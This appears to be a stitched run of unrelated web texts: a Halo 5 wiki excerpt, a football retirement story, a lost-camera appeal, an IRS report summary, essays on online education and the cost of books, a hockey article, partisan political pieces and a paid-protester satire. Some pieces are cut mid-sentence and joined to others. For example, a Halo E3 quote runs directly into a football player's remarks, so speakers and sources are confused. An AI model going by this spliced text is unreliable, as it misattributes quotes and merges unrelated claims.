Controversially, the Limited Collector's edition originally contained a digital download code rather than a physical disk. This was intended to allow purchasers of the Limited Collector's edition to pre-load the game. In response to a fan uproar at the lack of a disk, 343 Industries stated that they were looking for a solution to satisfy those who want a disk.[78] Later, they confirmed that customers would be able to opt to have a disk rather than the default digital download code.[79]
Digital Deluxe Edition Edit
A Digital Deluxe edition was also available for pre-order before the game's release. It cost $89.99, and contained a digital download of the game itself, a REQ bundle, and Halo: The Fall of Reach Animated Series.[80]
Development Edit
Iterations Edit
Early Concepts Edit
In the earlier iterations of the game, Fireteam Osiris was actually supposed to be Fireteam Majestic, composed of Olympia Vale, Holly Tanaka, Jameson Locke, and Gabriel Thorne.[81]
Beta Edit
At least one known version of the game exists, the Halo 5: Guardians Multiplayer Beta. This version includes different menu systems featuring a different background and different music, armor descriptions feature the manufacturers, Empire had slightly different pathing, and armor colouring was able to be individually selected.[82]
Marketing Edit
This section requires expansion.
Xbox One Reveal Edit
Halo (Xbox One) was confirmed to be in development for the Xbox One during the Xbox One Reveal event on May 21, 2013.[1]
E3 2013 Edit
“There was no ambiguity in not putting a number after the game. For me, what we showed wasn’t the game. Nobody should be confused on that. I didn’t really want to try to show something that was clearly a thought piece by the studio around where Master Chief is in his journey, and then drop the name after it and be somewhat disingenuous about that being the game. But I did want Bonnie [Ross] to come out and say 'First-person shooter. Master Chief.' Because they'll get the questions: |
was kind of hoping I could do an Irish Exit and say bye to some people quietly,” Arakgi said.
“Then when Wally came out and told the team it came out in the open. I am really happy that’s the way he went about it because it made it more special to me. I’ve always been someone that loved the attention within the locker room from the fellas. As far as the media attention and all that stuff, I didn’t really crave that and normally shied away from it.”
Believe us when we say his leadership and presence was always felt on the sideline; even if it didn’t always translate to the TV cameras and ‘mic’d up’ segments.
After arriving on the west coast as a 3rd round draft pick in 2008, Arakgi closes the football chapter of his career with lion-sized memories. Along with breaking Wade Miller’s special teams record last year, he was also a Western Division all-star in 2009 and was runner up for the league’s Most Outstanding Special Teams Player Award in that same season.
He contends the 2011 Grey Cup victory and his teammates are the things he will always cherish the most.
“Winning that Grey Cup is something that is so rare for people in their careers, so I was so fortunate to be able to win one almost right away,” Arakgi said.
“Breaking the record was a personal goal I set for myself, so I was very happy to get that done before the end of my career and any kind of injury. It’s hard to make it that many years in the league.”
When you add it all up, Arakgi was around for perhaps one of the more memorable eras of this franchise. There may have only been the one championship parade, but you’d be hard pressed to find another ten-year veteran who was surrounded with such quality talent.
“I had the privilege of working with some of the greatest players in the league like Geroy Simon, Travis Lulay, Brent Johnson, Paul McCallum, Solomon Elimimian, Adam Bighill, Korey Banks, Dante Marsh and Jason Clermont. I could keep going. Rolly Lumbala will always be my guy. There were coaches like Wally, Mike Benevides and Mark Washington. I was lucky to be able to learn from all of these highly-motivated people,” the special teams wizard said.
Lumbala was drafted one round ahead of Arakgi in 2008 and now is alone in top spot as the longest-serving player on this squad. The news of Saturday night caught him completely off guard as well.
“It honestly felt like someone died,” an emotional Lumbala said of his buddy’s announcement.
“We came in together and always felt we would leave together as well, but life doesn’t care about your plans sometimes. Honestly I’m very happy and very proud of him. As young rookies we had our ups and downs, but learned to become pros and leaders for this football team. There are so many stories and too little time to share.
He means a lot to me and we leaned on each other for things on and off the field. I can’t wait to see what the future holds for him.”
It was well documented how competitive this year’s version of training camp was. Aragki and Lumbala had at least two or three minor “dust ups” that would always end with the two friends embracing and hugging.
“There was nothing friendly about our all-out brawls during training camp,” Lumbala chuckled.
“We were just two competitors defending our side of the football. Because we have mutual respect for each other, we never took it too far and would always have a good laugh about it after and talk about it over dinner. The funny part was, people knew how close we were to each other and would actually be worried. They always made sure we were on great terms.”
Arakgi had his on field family. Now he will embrace all of the extra time spent with Marianne and the toddlers. Number 45 admits that has already called for a little bit of an adjustment to his lifestyle.
“Being retired has been a lot more busy than I anticipated,” Arakgi said, tongue in cheek.
“Staying at home with the kids, helping out with the house stuff and spending as much time with the family was very rewarding. I’ve been really fortunate to be able to get some time to hang out with them and decompress. It was a great Father’s Day weekend.”
After the events of last year, he has learned to cherish every moment.AN IRISHMAN living in Britain has appealed for help in finding the owners of a lost camera from 2006.
Phil McEleney, 70, is based in Hertfordshire but is originally from Donegal and was on holiday in Ireland in 2006 when he found the camera.
"It was 2006, long time ago, and we were on holiday in Malin Head, about 30 miles away from Clomany where I was born, either the last week in August or first week in September.
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"We found the camera on a bench near the top of Malin Head and asked around but nobody knew anyone who had lost it so we brought it back to England with us," Mr McEleney told The Irish Post.
Mr McEleney looked on 'lost and found' websites when he returned to Britain but didn't find anyone looking for the camera, then he had the photos developed to see if he recognised anyone in the photos.
"I had the photos developed to see if I recognised anyone and I didn't, so I sent them back to my sister Maureen in Clomany and she showed them around and nobody knew anyone.
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"She sent them back to me and since then I've been putting them on Facebook every now and again to see if I can find the owners."
Now, 11 years later, Mr McEleney has kept the photos and the camera safe, and is hopeful about finding the owners.
The camera was a Fuji Film make, zoom date 125S model.
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"Some of the people might not be alive anymore," Mr McEleney said, "but the photos would mean something to the other people to get the pictures and camera back."The Internal Revenue Service, charged with implementing the biggest change in tax laws in 20 years due to Obamacare, has created eight offices and special "teams" to handle the chore, way more than initially revealed.
Besides the top office headed by the woman in the middle of the IRS-Tea Party scandal, there are seven others and a special enforcement team that make up an organization chart that mirrors the organization of the IRS itself, according to a Treasury Inspector General's report.
The June report focused on concerns that the IRS, which is filling the Obamacare offices with 2,137 agents and officials to make sure citizens and companies comply with the new health law or pay a fine, isn't clear on its new role and how many new workers it will actually need. For example, the IRS will be in charge of analyzing hospital "community benefit activities," which it has never done before.
But in that report was the organizational chart revealing the series of Obamacare offices. They are led by a steering committee that coordinates Obamacare implementation across the IRS. It is led by the agency's deputy commissioner for services and enforcement, the office linked to the IRS scandal. Ousted acting IRS Commissioner Steven T. Miller recently had that job.
Other branches include three program management offices, four services and enforcement offices, and services and enforcement exchange working teams.
From the IG report:
Appropriate Plans Have Been Developed to Implement Most Tax-Related Provisions of the Affordable Care Act.
To begin the major task of implementing the tax-related provisions of the ACA, the IRS created the following Executive Steering Committees, Offices, and Teams.
-- The ACA Executive Steering Committee (ESC) is responsible for overall program coordination and implementation of the ACA across the IRS. This committee is co-chaired by the Deputy Commissioner for Services and Enforcement and the Deputy Commissioner for Operations Support. It also includes the IRS Chief of Staff and other IRS executives, including the business operating division commissioners, et al.
-- Three program management offices (PMO): 1) Services and Enforcement; 2) Modernization and Information Technology Services (MITS);5 and 3) Health Care Council. These PMOs are accountable to the ESC for ACA implementation and work with the IRS business operating divisions to ensure efforts are successfully coordinated.
-- Four functional ESCs, each led by an executive chair, have responsibility for specific provisions in the ACA that directly affect the four business operating divisions (Wage and Investment, Small Business/Self-Employed, Large Business and International, and Tax Exempt/Government Entities).
-- The Services and Enforcement Exchange Working Teams are responsible for planning the implementation of the exchange provisions scheduled for 2014.A common responses to my article, Why Online Education Works, is that there is something special, magical, and “almost sacred” about the live teaching experience. I agree that this is true for teaching at its best but it’s also irrelevant. It’s even more true that there is something special, magical and almost sacred about the live musical experience. The time I saw Otis Clay in a small Toronto bar, my first Springsteen concert, the Teenage Head riot at Ontario Place these are some of my favorite and most memorable cultural experiences and yet by orders of magnitude most of the music that I listen to is recorded music.
In The Trouble With Online Education Mark Edmundson makes the analogy between teaching and music explicit:
Every memorable class is a bit like a jazz composition.
Quite right but every non-memorable class is also a bit like a jazz composition, namely one that was expensive, took an hour to drive to (15 minutes just to find parking) and at the end of the day wasn’t very memorable. The correct conclusion to draw from the analogy between live teaching and live music is that at their best both are great but both are also costly and inefficient ways of delivering most teaching and most musical experiences.
Edmundson also says this about online courses:
You can get knowledge from an Internet course if you’re highly motivated to learn. But in real courses the students and teachers come together and create an immediate and vital community of learning. A real course creates intellectual joy, at least in some. I don’t think an Internet course ever will.
Edmundson reminds me of composer John Philip Sousa who in 1906 wrote The Menace of Mechanical Music, an attack on the phonograph that sounds very similar to the attack on online education today.
It is the living, breathing example alone that is valuable to the student and can set into motion his creative and performing abilities. The ingenuity of a phonograph’s mechanism may incite the inventive genius to its improvement, but I could not imagine that a performance by it would ever inspire embryotic Mendelssohns, Beethovens, Mozarts, and Wagners to the acquirement of technical skill, or to the grasp of human possibilities in the art.
Sousa could not imagine it, but needless to say recorded music has inspired many inventive geniuses. Edmundson’s failure of imagination is even worse than Sousa’s, online courses are already creating intellectual joy (scroll down).
(Sousa was right about a few things. Recorded music has reduced the number of musical amateurs and the playing of music in the home. Far fewer pianos are sold today, for example, than in 1906 when Sousa wrote and that is true even before adjusting for today’s much larger population. Online education will similarly change teaching and I don’t claim that every change will be beneficial even if the net is good.)
Sousa and Edmundson also underestimate how much recording can add to the pursuit of artistic excellence. Many musical works, for example, cannot be well understood or fully appreciated with just a few listens. Recording allows for repeated listening and study. Indeed, one might say that only with recording, can one truly hear.
Recording also let musicians truly hear and thus compare, contrast and improve. Most teachers will also benefit from hearing and seeing themselves teach. With recording, teaching will become more like writing and less like improv. How many people write perfect first drafts? Good writing is editing, editing, editing. Live teaching suffers from too much improv and not enough editing. Sometimes I improv in class–also called winging it–but like most people I am usually better when I am better prepared. (Tyler, in contrast, is the Charlie Parker of live teaching.)
Sousa and the modern critics of online education also miss how new technologies bring new possibilities. For Sousa then, as for Edmundson today, the new technologies are simply about recording the live experience. But recorded music brought the creation of new kinds of music. Indeed, a lot of today’s music can’t be played live.
In his excellent 1966 disquisition, The Prospects for Recording (highly recommended, fyi), pianist Glenn Gould said that using the technology of the studio “one can very often transcend the limitations that performance imposes upon the imagination.” The same will be true for online education.
Addendum: Andrew Gelman comments.DETROIT (Reuters) - Ride services using self-driving vehicles could slash by more than half demand for owner-driven sedans in the United States by 2030, according to a study released Monday by consulting firm KPMG that used cellphone data to map commuter travel in three large U.S. cities.
The KPMG researchers forecast that ride services using self-driving vehicles will launch first in densely populated urban and suburban areas it calls “island markets.” Alphabet Inc’s Waymo self-driving car unit and General Motors Co have said recently they intend to launch pilot autonomous ride sharing services in limited urban or suburban areas.
As costs for ride hailing drop, KPMG predicts that by 2030 many families will no longer need to own a sedan to get to work or do errands, but will hail a ride instead.
The result will be a “precipitous decline” to 2.1 million sedan sales annually in the United States by 2030 from 5.4 million sales currently, the study predicts, as families dump smaller sedans and keep larger vehicles for longer trips.
Automakers in the United States already are scrambling to re-tool product programs and factories to respond to lower demand for conventional compact and midsize cars, driven by a shift toward sport utility vehicles and pickup trucks.
Fiat Chrysler Automobiles NV already has exited the small and midsize sedan markets in the United States. KPMG predicts more will follow until only three or four companies are serving that market, instead of 10 companies today.
KPMG said it used data collected from cell phones to analyze trips in Atlanta, Chicago and the Los Angeles-San Diego metropolitan regions. In Chicago, many trips are shorter than 15 minutes. In Atlanta, the study found 75 percent of trips are between suburbs, not from the city center to a suburb. Los Angeles trips are the longest, with many rides taking 90 minutes or more, the study found.
The KPMG study, released in conjunction with the Los Angeles auto show, echoed comments by auto and technology industry executives that self-driving vehicles will be deployed first in ride-for-hire services limited to specific areas of cities or suburbs.In ice hockey, a Gordie Howe hat trick is a variation on the hat-trick, wherein a player scores a goal, records an assist and gets in a fight all in one game. [1] It is named after Hall of Famer Gordie Howe, who is known as "Mr. Hockey", because he is considered the most well rounded hockey player of all time. Howe could both set up and score goals, but also do everything well from killing penalties, back checking, and even fighting, when necessary.
The first known Gordie Howe hat trick was achieved by Hockey Hall of Fame defenseman Harry Cameron of the Toronto Arenas on December 26, 1917 in a 7–5 win against the Montreal Canadiens. [2]
Howe got his first Gordie Howe hat trick on October 11, 1953, when he scored a goal, assisted on Red Kelly's goal and fought the Toronto Maple Leafs' Fernie Flaman.
Howe's second happened on March 21, 1954, once again versus the Maple Leafs. Howe scored the opening goal, assisted on two Ted Lindsay goals, and fought Ted "Teeder" Kennedy. [3]
Multiples Edit
A multiple Gordie Howe hat trick, involving two players who each scored a goal and got and assist and then fought each other, has occurred on two occasions:
On April 9, 1981, during a play-off game between the Minnesota North Stars and the Boston Bruins, Bryan Maxwell and Bobby Smith of the Minnesota North Stars and Brad Park of the Boston Bruins all got Gordie Howe Hat Tricks. Smith and Park fought each other. [4][5] Park also scored one goal and three assists. The North Stars won the game 9–6.
Debut Variations Edit
A Gordie Howe hat trick that included a player's first NHL goal occurred on November 19, 2014, when Steve Pinizzotto was called up by the Edmonton Oilers and he made his 2014–15 season debut against his previous team, the Vancouver Canucks. The replay of Pinizzotto's Gordie Howe Hat Trick was broadcast on Coach's Corner, along with several other broadcasters. [6][7][8][9]
On December 29, 2018, Tyler Lewington of the Washington Capitals, playing in just his second career NHL game, against the Ottawa Senators, became the only player to complete a Gordie Howe hat trick with all three components being NHL career firsts, including his first assist on a goal by Tom Wilson and his first fight against Zack Smith.[citation needed]Above is an image that you probably won't see featured on any mainstream media sites. That's because it's photographic evidence that Bill Clinton did indeed officiate the 2010 wedding of Hillary's close confidante Huma Abedin and her sexting-addicted former husband and failed NYC mayoral candidate Anthony Weiner.
The picture comes via Newsbusters, who managed to track it down through the 2016 documentary Weiner (a rather mesmerizing film for those interested in human psychology, particularly narcissism and self-delusion; trailer below). Newsbusters notes how hard it was to actually find visual evidence of Clinton's participation in the doomed-from-the-start wedding:
Although the New York Times, Newsweek and others reported on the couple’s 2010 nuptials, even mentioning Clinton’s role, none of these outlets published a picture of the former president presiding over the six-figure ceremony. At least, if there ever were photos, they’ve been taken down … and understandably so. The juxtaposition of the two remarkably similar men is more than a bit embarrassing. However, we spotted the photo in the May 2016 documentary Weiner, an eye-opening look at the scandal, attempted resurgence and “disastrous mayoral campaign” of the politician. (According to NYT correspondent Mark Leibovich, the long-suffering Abedin never permitted the filmmakers to feature her in the doc – which was apparently ignored.)
This week more sexting tweets emerged involving Weiner and another busty woman, the third time since 2011 that he's been the center of a sexting scandal. This time, however, was different, as one of his tweets showed his young son lying next to him in the bed while Weiner took a lurid image of his own crotch and sent it to the woman. After the New York Post broke the stomach-churning story, Weiner deleted his Twitter account. A few hours later, Abedin announced that she was leaving her shameless husband.
"After long and painful consideration and work on my marriage, I have made the decision to separate from my husband," she announced on Monday. "Anthony and I remain devoted to doing what is best for our son, who is the light of our life. During this difficult time, I ask for respect for our privacy."
The media has really earned its leftist credentials in its coverage of the Abedin-Weiner marriage, initially attacking Andrew Breitbart for breaking the original sexting story, then, after that failed, making a concerted effort to downplay the nature of the scandal and to somehow portray Abedin as an icon of "new feminism" (?) for standing by her man. Now the media spin machine will undoubtedly praise Abedin again as a model feminist, but this time for leaving her man.
The Washington Post provides a timeline of the "short, strange" marriage of Abedin and Weiner here. But if you're not interested/willing to read much more on the sordid topic,the Post graciously provides the following brief video summary of the nuptial train wreck:
H/T Trey Sanchez.With Donald Trump calling on Hillary Clinton to take a drug test before their third debate Wednesday evening, it’s the perfect time to bring up one of the biggest campaign issues that major news organizations have avoided: His long, deep, and strange involvement with a major cocaine and marijuana trafficker.
Trump presents himself as the most ardent law-and-order politician ever. Yet throughout his adult life Trump sought out—and worked closely with—more than a score of criminals, including Mafia associates, Russian mob associates, violent felons, con artists, swindlers, and most significant of all, the embezzler and mob associate Joseph Weichselbaum, a thrice-convicted felon.
Long ago, when Trump was the big man in Atlantic City, he got his helicopters to bring his high-rollers in and out of town through a company formed by Weichselbaum, to whom he also entrusted maintenance of the Ivana, Trump’s personal helicopter. Spy, a satirical magazine that often made fun of Trump, reported that Weichselbaum—at that point a twice-convicted felon—personally piloted the Trumps in that copter.
Weichselbaum also had another business: importing drugs from Colombia and shipping them from Bradford Motors, a Miami-area car dealership he partly owned, to Cincinnati.
When Weichselbaum got caught, his case was handled in a most unusual way, with both Donald Trump and one of his siblings in starring roles.
This relationship between the Republican presidential nominee and a major drug trafficker, revealed in court filings and other public documents, has never been explained by the candidate. Trump should be asked in every venue right up to Election Day for a complete and detailed accounting of this relationship.
Trump’s loud sniffling through the first two debates prompted all sorts of speculation. His lagging performance at the end of the first debate, when he lost focus and went off on yet another attack on comedian Rosie O’Donnell, further fueled that speculation. Former Vermont governor and prominent Democrat Howard Dean suggested that Trump snorted cocaine ahead of the first debate, an especially fraught diagnosis even for a physician.
The candidate says that he does not drink or use drugs and never has. I have no evidence to the contrary.
Dean’s rank speculation, and the questions raised on social media about Trump’s sniffling in the second debate, might have been the end of the issue except that Trump decided to breathe new life into it. At campaign rallies Trump said that it seemed to him that Clinton was the one on drugs. Trump declared, against the visible evidence, that Clinton was the one exhausted by debating, suggesting this was because the effects of drugs had worn off.
Trump is well known for projecting—taking things that apply to himself and saying that they apply to others. His comments about Clinton, who was alert and stood with good posture through both debates, did not help him.
But any questions about his personal drug use are small potatoes compared to his long, deep embrace of Weichselbaum. Trump risked his lucrative casino license to demonstrate his unflagging loyalty to a convicted drug trafficker.
The unusual relationship between Trump and Weichselbaum deserves at least as much attention as the Republican nominee’s refusal to make public any of his tax returns or the questions about what was contained in the Democratic nominee’s tens of thousands of emails that she says were private and that State Department staff deleted.
Yet, to use Trumpian language, I alone am raising the issue of his drug-distributor pal.
Law enforcement reports long ago identified Weichselbaum as a Mafia associate. At one time he was actively involved in cigarette-boat racing in Miami, a sport that attracted a number of high-level criminals ranging from fellow drug traffickers to corrupt financiers like Charles Keating, the poster boy for the savings-and-loan scandals of quarter century ago, who came in second in a race where Weichselbaum ran third.
Trump needed helicopters to fly high-rollers to Atlantic City. The selection of Damin Aviation was odd given that there were better-financed helicopter companies with longer track records. Damin was set up as a lightly financed tax-sheltered operation that benefited from lavish state of New Jersey subsidies. Despite that structure, it soon went bust and reemerged as Nimad—Damin spelled backward. It went bust again.
Through all this Trump stayed with Damin, run by Joseph’s brother and continuing to him, instead of switching to any of the other helicopter providers.
Because Weichselbaum was then a twice-convicted felon, New Jersey gambling regulators eventually insisted he not be involved with providing helicopter services to the Trump casinos.
Yet Weichselbaum continued collecting a $100,000 salary (more than $220,000 in today’s money) and a company car and driver from Nimad. And Trump kept using the company that paid Weichselbaum even though he was supposedly no longer involved, which technically met the requirements imposed by casino regulators.
According to his indictment, Weichselbaum’s more lucrative business was having drugs delivered to Bradford Motors, the Miami-area car dealership he had an ownership stake in. At one point, he helped load up to 1,500 pounds of drugs at the time into cars that mules drove to the Cincinnati area for distribution in Ohio, Kentucky and Tennessee, testimony and his confession established.
Trump learned of the indictment shortly after it was filed in October 1985, New Jersey Casino Control Commission records show. At that point Trump should have cut off all connections to Weichselbaum because failing to do so could cost him his casino license.
The New Jersey Casino Control Act requires owners to prove by clear and convincing evidence that they do not consort with criminals. The United States Supreme Court upheld this law because a casino license is a privilege, not a right.
Instead of abandoning Weichselbaum, Trump did him the first of several favors.
Two months after the indictment, Trump rented apartment 32C in the Trump Plaza Apartments on E. 61st St. in Manhattan to the Weichselbaum brothers, according to New Jersey Casino Control Commission records. Trump personally owned the unit.
It was an odd arrangement. The brothers were to pay about half the rent in cash and the rest in unspecified helicopter services, which would be hard to establish without a thorough audit, according to those casino regulatory files.
Meanwhile, Weichselbaum agreed to plead guilty in Federal District Court in Cincinnati. His Ohio lawyer, Arnold Morelli, asked that sentencing be done either in Miami, where Bradford Motors is located, or Manhattan where the confessed drug trafficker lived.
Instead the case somehow ended up in New Jersey—and in not just any courtroom, either. It came before Judge Maryanne Trump Barry, Trump’s older sister.
After three weeks Judge Barry recused herself, explaining to the chief judge that her husband, Trump casino lawyer John Barry, and she had flown in the helicopters of a confessed drug trafficker. At the time, there was only a signed order reassigning the case, but not explaining the reasons for doing so. Six years passed before Barry’s reason for recusal—potentially damaging to the federal judiciary—emerged in a book by investigative reporter Wayne Barrett.
Then Trump wrote a letter on Trump Organization stationery pleading for mercy for Weichselbaum. He called him “a credit to the community.” Trump also described the drug trafficker as “conscientious, forthright and diligent,” not the sort of language a law-and-order presidential candidate would be expected to apply to a drug trafficker who moved more than 11 pounds of cocaine in one shipment alone and more than three quarters of a ton of marijuana in another.
When New Jersey gaming regulators first asked Trump about this letter he denied writing it. When they came back with a copy of the letter, Trump said under oath that his signature was on the page. What else he may have been asked is unknown because the New Jersey Attorney General’s Division of Gaming Enforcement’s report did not indicate that Trump was asked the obvious questions:
What prompted you to write the letter knowing you could lose your casino license over it?
What were your business dealings with Weichselbaum beyond helicopter services?
Did you invest in the drug deals?
Trump has never answered questions about this, including when he called me at my home on April 27 to tell me that unless he liked what I wrote about him he would sue me, something no other candidate for office has ever done in my half century of reporting.
Trump’s letter worked. Weichselbaum served just 18 months, while the mules who merely drove the drugs got sentences of up to 20 years.
When time came for parole, Weichselbaum said he had the required job and a place to live. He told authorities he would be Trump’s helicopter guy. Then he moved into Trump Tower.
It’s more than reasonable, indeed critical, that Trump be pinned down on just what motivated his unusual actions in the Weichselbaum case. He needs to be asked why, as he is now doing with Vladimir Putin, he went out of his way to make sure Weichselbaum knew that in Donald Trump he had a totally loyal ally who would never turn on him.
Having a tax cheat in the White House four decades ago and another a heartbeat away was bad enough. Why in the world would we want the ally of a drug trafficker anywhere near the Oval Office?
Wednesday evening, debate moderator Chris Wallace will have the opportunity to ask Trump why he stood by this convicted felon, risking his casino empire in the process.
Until Trump offers real answers, we have no way of knowing whether he simply displayed the kind of bad judgement he attributes to Clinton or was knowingly involved in Weichselbaum’s drug business.FERGUSON, Mo. – After a grand jury decided not to indict police officer Darren Wilson for fatally shooting unarmed teen Michael Brown, Brown’s stepfather, in a now-infamous scene, stood above a crowd and repeatedly screamed, "Burn this bitch down." Police are now investigating whether those were the cries of a hurting man, or words intended to incite a riot.
America Tonight's cameras also caught those heated moments up close. And before Louis Head climbed onto the car, before he comforted his distraught wife and yelled to the gathered throngs, he seemed to reply to an unidentified man in the crowd with the statement: "If I get up there, I'm gonna start a riot. Burn this bitch down."
For the first time, we're publishing the two key minutes of America Tonight's raw footage. He makes that specific comment at the 16-second mark.A couple of years ago a friend of mine, a newspaper editor, was firewatching with some factory workers. They fell to talking about his newspaper, which most of them read and approved of, but when he asked them what they thought of the literary section, the answer he got was: “You don't suppose we read that stuff, do you? Why, half the time you're talking about books that cost twelve and sixpence! Chaps like us couldn't spend twelve and sixpence on a book.” These, he said, were men who thought nothing of spending several pounds on a day trip to Blackpool.
This idea that the buying, or even the reading, of books is an expensive hobby and beyond the reach of the average person is so widespread that it deserves some detailed examination. Exactly what reading costs, reckoned in terms of pence per hour, is difficult to estimate, but I have made a start by inventorying my own books and adding up their total price. After allowing for various other expenses, I can make a fairly good guess at my expenditure over the last fifteen years.
The books that I have counted and priced are the ones I have here, in my flat. I have about an equal number stored in another place, so that I shall double the final figure in order to arrive at the complete amount. I have not counted oddments such as proof copies, defaced volumes, cheap paper-covered editions, pamphlets, or magazines, unless bound up into book form. Nor have I counted the kind of junky books-old school text-books and so forth — that accumulate in the bottoms of cupboards. I have counted only those books which I have acquired voluntarily, or else would have acquired voluntarily, and which I intend to keep. In this category I find that I have 442 books, acquired in the following ways:
Bought (mostly second-hand) 251 Given to me or bought with book tokens 33 Review copies and complimentary copies 143 Borrowed and not returned 10 Temporarily on loan 5 Total 442
Now as to the method of pricing. Those books that I have bought I have listed at their full price, as closely as I can determine it. I have also listed at their full price the books that have been given to me, and those that I have temporarily borrowed, or borrowed and kept. This is because book-giving, book-borrowing and bookstealing more or less even out. I possess books that do not strictly speaking belong to me, but many other people also have books of mine: so that the books I have not paid for can be taken as balancing others which I have paid for but no longer possess. On the other hand I have listed the review and complimentary copies at half-price. That is about what I would have paid for them second-hand, and they are mostly books that I would only have bought second-hand, if at all. For the prices I have sometimes had to rely on guesswork, but my figures will not be far out. The costs were as follows (*) :
£ s. d. Bought 36 9 0 Gifts 10 10 0 Review copies, etc 25 11 9 Borrowed and not returned 4 16 9 On loan 3 10 0 Shelves 2 0 0 Total 82 17 6
Adding the other batch of books that I have elsewhere, it seems that I possess altogether nearly 900 books, at a cost of £165 15s. This is the accumulation of about fifteen years — actually more, since some of these books date from my childhood: but call it fifteen years. This works out at £11 1s. a year, but there are other charges that must be added in order to estimate my full reading expenses. The biggest will be for newspapers and periodicals, and for this I think £8 a year would be a reasonable figure. Eight pounds a year covers the cost of two daily papers, one evening paper, two Sunday papers, one weekly review and one or two monthly magazines. This brings the figure up to £19 1s, but to arrive at the grand total one has to make a guess. Obviously one often spends money on books without afterwards having anything to show for it. There are library subscriptions, and there are also the books, chiefly Penguins and other cheap editions, which one buys and then loses or throws away. However, on the basis of my other figures, it looks as though £6 a year would be quite enough to add for expenditure of this kind. So my total reading expenses over the past fifteen years have been in the neighbourhood of £25 a year.
Twenty-five pounds a year sounds quite a lot until you begin to measure it against other kinds of expenditure. It is nearly 9s 9d a week, and at present 9s 9d is the equivalent of about 83 cigarettes (Players): even before the war it would have bought you less than 200 cigarettes. With prices as they now are, I am spending far more on tobacco than I do on books. I smoke six ounces a week, at half-a-crown an ounce, making nearly £40 a year. Even before the war when the same tobacco cost 8d an ounce, I was spending over £10 a year on it: and if I also averaged a pint of beer a day, at sixpence, these two items together will have cost me close on £20 a year. This was probably not much above the national average. In 1938 the people of this country spent nearly £10 per head per annum on alcohol and tobacco: however, 20 per cent of the population were children under fifteen and another 40 per cent were women, so that the average smoker and drinker must have been spending much more than £10. In 1944, the annual expenditure per head on these items was no less than £23. Allow for the women and children as before, and £40 is a reasonable individual figure. Forty pounds a year would just about pay for a packet of Woodbines every day and half a pint of mild six days a week — not a magnificent allowance. Of course, all prices are now inflated, including the price of books: still, it looks as though the cost of reading, even if you buy books instead of borrowing them and take in a fairly large number of periodicals, does not amount to more than the combined cost of smoking and drinking.
It is difficult to establish any relationship between the price of books and the value one gets out of them. “Books” includes novels, poetry, text books, works of reference, sociological treatises and much else, and length and price do not correspond to one another, especially if one habitually buys books second-hand. You may spend ten shillings on a poem of 500 lines, and you may spend sixpence on a dictionary which you consult at odd moments over a period of twenty years. There are books that one reads over and over again, books that become part of the furniture of one's mind and alter one's whole attitude to life, books that one dips into but never reads through, books that one reads at a single sitting and forgets a week later: and the cost, in terms of money, may be the same in each case. But if one regards reading simply as a recreation, like going to the pictures, then it is possible to make a rough estimate of what it costs. If you read nothing but novels and “light” literature, and bought every book that you read, you would be spending-allowing eight shillings as the price of a book, and four hours as the time spent in reading it-two shillings an hour. This is about what it costs to sit in one of the more expensive seats in the cinema. If you concentrated on more serious books, and still bought everything that you read, your expenses would be about the same. The books would cost more but they would take longer to read. In either case you would still possess the books after you had read them, and they would be saleable at about a third of their purchase price. If you bought only second-hand books, your reading expenses would, of course, be much less: perhaps sixpence an hour would be a fair estimate. And on the other hand if you don't buy books, but merely borrow them |
people carrying signs and protesting Trump since the inauguration here in the U.S. (Again, you could make a case for 5 million easy.)
So let’s say you want to pay these protesters. Can you get folks to protest for minimum wage? I doubt it, but let’s keep it cheap. Call it $8 an hour. And given the size and scope of those protests, not to mention staging and travel time, we’ll assume an eight-hour day. So that’s $64 a head, multiplied by 3.6 million heads. That’s a price tag of just over $230 million just in protester wages alone! Wow. That’s a lot of money, y’all.
But you can’t just pay people. You have to get them to the protests and give them signs! Call it $10 per person in transportation costs, and let’s say one out of every five has a sign (or a black mask if you like your conspiracies violent), which cost another $5. So that’s another $36 million for transportation, and $3.6 million in protest materials.
That’s $269.6 million. But let’s be generous and say that, maybe, only a third of the protesters around the country were paid by the globalist/elitist cabal led by Satan in a George Soros suit. We’ll call it $90 million to keep the math even.
So in order to believe the myth of the paid protester, you have to believe that there’s a shadowy cabal of America-haters out there willing to spend $90 million to pay protesters, bring them to protests and give them signs. And that’s just for one third of the most conservative estimated turnout over the past few weeks. Why would you even pay for that, when you already have two-thirds of the protesters out there working for your shadowy cabal for free? I mean, if the Women’s March had 2.2 million marchers around the country instead of 3.3 million, then you’d still have the single biggest day of protests in our nation’s history. So that $90 million really wasn’t that well spent.
And honestly, how are you even going to manage the logistics of paying all those people? Is the Soros cabal gonna cut a check? Don’t you think there are bank tellers in the U.S. who would note a huge influx of checks come Monday, Jan. 23, all from the same source? (Or multiple sources, if the Soros cabal is trying to be clever.)
Or hey, let’s say the protesters were paid in cold hard cash. That means $90 million in small bills had to be withdrawn from the nation’s banks between the election and the inauguration — a span of 73 days — or $1,232,876 each and every day after the election. Problem is, banks are required by law to report the withdrawal of more than $10,000 in cash to the IRS. That means you would have to have a minimum of 124 dummy accounts, and then you’d have to go back to each account to withdraw $9,999.99, every day for 73 days. (And likely hire 124 super trustworthy people to secure all that money and not go zipping off to Cabo with it.)
And nobody is gonna notice all that activity? Dude.
So yeah, that’s the logistics. It’s just about impossible to pay for all those protesters in such a short amount of time without the federal government or even Fox News noticing. And besides, with a million people on the bankroll, you would think some idiot somewhere would’ve put a picture of his protest payment on Instagram.
Now, let’s talk about return on the investment. You spent $90 million to augment protests that are already super-protesty. (Or spent $269.6 million to fund them all, but that’s some comic-book mastermind stuff right there, tripling all the logistical requirements outlined above.) So what do you get for your investment?
Well, you get a lot of protests. And yes, maybe that translates into a shift in public opinion. However, with midterm elections still 21 months off, there’s plenty of time for the Trumpist/Bannonist folks to swing things back in the other direction. One tweet from Trump gets him loads of news coverage and costs nothing. Your $90 million for two-plus weeks of protest is kind of weak sauce in comparison.
But what if you took that $90 million and invested it in, you know, actual politics? Democrats need just 24 House seats and three Senate seats to completely flip Congress. That’s 27 elections! And check this out: The average Senate campaign cost $10 million in 2012, and the average House race was $1.7 million.
So you could invest $90 million in two weeks of protests. OR, you could support three Senate races at $15 million a pop and give another $1.875 million to 24 House races, more than matching the 2012 budgets of each race and overwhelming the competition. And nobody would really pay much attention, given the proliferation of super PACs and other electioneering nonsense.
If you had $90 million to spend on politics, which would you choose?
Look, we get that the whole “paid protester” thing is stupid as hell, but sometimes it feels good to outline just how amazingly stupid some of these conspiracy theories really are. I know I feel better. Thanks for reading."For anyone who thinks I'm insulting their Superman, let me tell you something: He doesn't belong to you."
